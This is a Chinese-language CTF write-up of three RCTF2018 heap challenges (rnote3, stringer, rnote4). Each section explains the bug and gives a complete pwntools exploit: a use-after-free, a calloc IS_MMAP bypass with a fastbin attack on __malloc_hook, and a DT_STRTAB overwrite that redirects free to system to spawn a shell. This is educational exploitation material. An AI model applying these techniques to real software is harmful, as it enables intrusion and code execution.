RCTF2018
1.rnote3
选单程序,保护全开, 程序的漏洞点有以下两个:
edit函数:
unsigned __int64 sub_102D()
{
signed int i; // [rsp+4h] [rbp-1Ch]
__int64 addr; // [rsp+8h] [rbp-18h]
char s1; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
addr = 0LL;
printf("please input note title: ");
getinput((__int64)&s1, 0x20u); // stack over flow
for ( i = 0; i <= 31; ++i )
{
if ( heaplst[i] && !strncmp(&s1, (const char *)heaplst[i], 8uLL) )
{
addr = heaplst[i];
break;
}
}
if ( addr )
{
printf("please input new content: ");
getinput(*(_QWORD *)(addr + 16), *(_QWORD *)(addr + 8));
}
else
{
puts("not a valid title");
}
return __readfsqword(0x28u) ^ v4;
}
有个栈溢出,但是没什么卵用 delelte函数:
unsigned __int64 delete()
{
signed int i; // [rsp+4h] [rbp-1Ch]
void **ptr; // [rsp+8h] [rbp-18h]
char s1; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("please input note title: ");
getinput((__int64)&s1, 8u);
for ( i = 0; i <= 31; ++i )
{
if ( heaplst[i] && !strncmp(&s1, (const char *)heaplst[i], 8uLL) )
{
ptr = (void **)heaplst[i];
break;
}
}
if ( ptr )
{
free(ptr[2]);
free(ptr); // can leak addr
heaplst[i] = 0LL;
}
else
{
puts("not a valid title");
}
return __readfsqword(0x28u) ^ v4;
}
一个是指针没有真正意义上的清零,然后是栈的指针没有初始化 我们看一下delete函数的栈结构:
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C var_1C dd ?
-0000000000000018 ptr dq ? ; offset
-0000000000000010 s1 db ?
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
下面的是show函数栈结构
-0000000000000020
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C var_1C dd ?
-0000000000000018 addr dq ?
-0000000000000010 s1 db ?
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
是一样的, 这样我们先查看一个我们想看的指针然后delete一个不存在的名字,这样delete函数此时获得的下标是31,然而指针并没有更新,这样就可以构造uaf 剩下的就比较简单了,不做赘述
from pwn import *
context.log_level = 'debug'
io = process('./RNote3')
elf = ELF('RNote3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(name,content,size):
io.sendline('1')
io.recvuntil('title:')
io.sendline(name)
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.sendline(content)
def show(name):
io.sendline('2')
io.recvuntil('please input note title:')
io.sendline(name)
def delete(name):
io.sendline('4')
io.recvuntil('title:')
io.sendline(name)
def edit(name,content):
io.sendline('3')
io.recvuntil('title:')
io.sendline(name)
io.recvuntil('content:')
io.sendline(content)
io.recvuntil('Exit')
add('secunda','A'*0x5f,0x60)
add('nirn','B'*0x7f,0x80)
add('alex','C'*0x7f,0x80)
show('nirn')
io.recvuntil('BBBB\n')
delete('nnn')
show('\n')
io.recvuntil('content: ')
leak = u64(io.recv()[:6].ljust(8,'\x00'))
print hex(leak)
libc_base = leak - libc.symbols['__malloc_hook'] - 88 - 0x10
mlh = libc_base + libc.symbols['__malloc_hook']
one = 0xe9415 + libc_base
log.success(hex(libc_base))
log.success(hex(mlh))
log.success(hex(one))
add('aleX','AAA',0x80)
show('secunda')
io.recv()
delete('nnn')
edit('',p64(mlh - 0x23) + 'AAAAA')
add('sss','A'*0x60,0x60)
add('shell','aaa' + p64(one),0x60)
gdb.attach(io)
raw_input()
delete('aleX')
delete('')
io.interactive()
2.stringer
题目本身没什么难度 唯一的比较难的考察点是利用IS_MMAP位来绕过calloc calloc 会清空原来chunk上的内容,libc 2.23 设置 is_mmap bit 可以绕过 而后就没什么难得点了 free之后没有清零,指针可用 edit函数下标检查不严格,可以改下一个堆的堆头 思路就是绕过calloc然后泄露地址 而后就是比较常规的fastbinattack了 exp:
from pwn import *
context.log_level = 'debug'
io = process('./stringer')
elf = ELF('stringer')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,content):
io.recvuntil('choice:')
io.sendline('1')
io.recvuntil('length:')
io.sendline(str(size))
io.recvuntil('content:')
io.sendline(content)
def edit(idx,i):
io.recvuntil('choice:')
io.sendline('3')
io.recvuntil('index:')
io.sendline(str(idx))
io.recvuntil('index:')
io.sendline(str(i))
def delete(idx):
io.recvuntil('choice:')
io.sendline('4')
io.recvuntil('index:')
io.sendline(str(idx))
add(0x18,'0'*0x18)
add(0x80,'1'*0x80)
add(0x80,'2'*0x80)
delete(1)
edit(0,0x18)
edit(0,0x18)
add(0x88,'3'*0x7+'\n')
io.recvline()
leak = u64(io.recvline(keepends=False)[:7].ljust(8,'\x00'))
log.success(hex(leak))
libc_base = leak - 0x58 - 0x10 - libc.symbols['__malloc_hook']
log.success(hex(libc_base))
mlh = libc_base + libc.symbols['__malloc_hook']
log.success(hex(mlh))
one = 0xe9415 + libc_base
log.success(hex(one))
add(0x60,p64(mlh - 0x23))#4
add(0x60,p64(mlh - 0x23))#5
delete(4)
edit(3,0x88)
edit(3,0x88)
delete(5)
delete(4)
add(0x60,p64(mlh - 0x23))#6
add(0x60,p64(mlh - 0x23))#7
add(0x60,'A'*0x3 +p64(one))#8
add(0x60,'A'*0x3 + p64(0)*2+p64(one))
delete(7)
delete(7)
io.interactive()
3.rnote4
堆溢出可以控制结构体指针,任意内存读写 但是这个题目没给leak的机会,pie也没开 还以为要爆破之类的。。看了别人的wp才知道可以在dlresolve做文章 思路就是把DT_STRTAB改成一个bss段的地址,之后在bss段上把free函数改成system,然后free一个binsh就完事了(第一次调用)
from pwn import *
context.log_level = 'debug'
elf = ELF('RNote4')
io = process('./RNote4')
def add(size,content):
io.send('\x01')
io.send(chr(size))
io.send(content)
def edit(idx,size,content):
io.send('\x02')
io.send(chr(idx))
io.send(chr(size))
io.send(content)
def delete(idx):
io.send('\x03')
io.send(chr(idx))
DT_STRTAB = 0x601eb0
target = 0x602100
add(0x18,'A'*0x18)
add(0x18,'B'*0x18)
add(0x8,'/bin/sh\x00')
edit(0,0x30,'A'*0x18 + p64(0x21) + p64(0x18) + p64(DT_STRTAB))
edit(1,0x8,p64(target))
edit(0,0x30,'A'*0x18 + p64(0x21) + p64(0x18) + p64(target))
payload = 0x5f * 'A' + 'system'
edit(1,len(payload),payload)
delete(2)
io.interactive()
还有一个坑就是它这个程序很简陋。。发送的字符没有处理。。。需要注意一下。。
PREVIOUSxman pwn 部分wp
NEXT两道比较简单的堆题目